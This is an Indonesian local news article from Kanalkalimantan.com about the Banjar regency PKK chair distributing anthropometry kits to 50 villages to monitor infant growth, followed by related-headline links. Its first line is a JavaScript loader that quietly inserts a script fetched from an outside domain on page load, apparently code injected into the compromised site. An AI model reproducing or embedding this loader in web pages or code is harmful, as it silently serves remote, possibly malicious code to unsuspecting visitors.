(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas serahkan Antropometri Kit kepada 50 desa di Kabupaten Banjar.
Antropometri Kit diterima oleh Ketua TP PKK Desa Pemurus, Desa Keramat, Desa Kalaan dan Ketua TP PKK Desa Teluk Selong, saat kegiatan pertemuan dalam rangka pemantauan pertumbuhan dan perkembangan bayi dan balita bagi kader posyandu dan ketua TP PKK desa, di Aston Banua Hotel and Convantion Center Gambut, Selasa (18/10/2022) pagi.
Nurgita Tiyas mengatakan, tahun ini 50 paket alat Antropometri diserahkan kepada 50 desa di Kabupaten Banjar. Sementara tahun 2023 nanti akan kembali mendapatkan 240 paket untuk 240 desa dan kelurahan, sehingga mencakup 290 desa dan kelurahan di Kabupaten Banjar.
Nurgita menjelaskan, sosialisasi dilakukan bagi para kader Posyandu dan Ketua TP PKK desa agar bisa menggunakan dan merawat alat tersebut dengan baik.
Baca juga : Kepala Bappedalitbang Banjar Inginkan Inovasi Selaras dengan Arah Pembangunan Daerah
“Para kader Posyandu dan Ketua TP PKK agar bisa menggunakan dengan cakap dan memeliharanya dengan baik, karena alat-alat kesehatan ini sangat besar nilainya bagi kesehatan masyarakat,” harapnya.
Peralatan tersebut dijelaskannya, bisa memantau tumbuh kembang anak, baik Balita dan Baduta (bawah dua tahun).
Sementara itu, Kepala Dinas Kesehatan Kabupaten Banjar, Yasna Khairina menambahkan, kegiatan untuk meningkatkan kapasitas kader Posyandu terhadap pemantauan tumbuh kembang balita ini diikuti 120 peserta. Antara lain Ketua TP PKK lokus stunting dan ketua TP PKK desa kategori tertinggal beserta kadernya.
“Tim Penggerak PKK Desa sebagai mitra dari pemerintah daerah diharapkan mampu mendukung disektor kesehatan masyarakat,” harapnya.
Baca juga : Gauli Anak di Bawah Umur, Pria dari Mantewe Dibekuk Polisi di Paser
Yasna mengungkapkan, paket alat antropometri adalah bantuan dari Kementerian Kesehatan, diantaranya alat timbang badan berdiri, alat timbang badan bayi, alat ukur meteran, alat ukur tinggi badan dan alat ukur panjang badan untuk bayi.
“Dengan alat-alat tersebut pemantauan pertumbuhan anak bisa akurat dan dapat mengetahui permasalahan pertumbuhan anak agar bisa ditangani sejak dini,” harapnya.
Pada pertemuan tersebut juga dilakukan pemberian materi oleh narasumber mengenai tumbuh kembang anak dan cara mengukur anak sesuai standar. (Kanalkalimantan.com/rls)
Reporter : rls
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.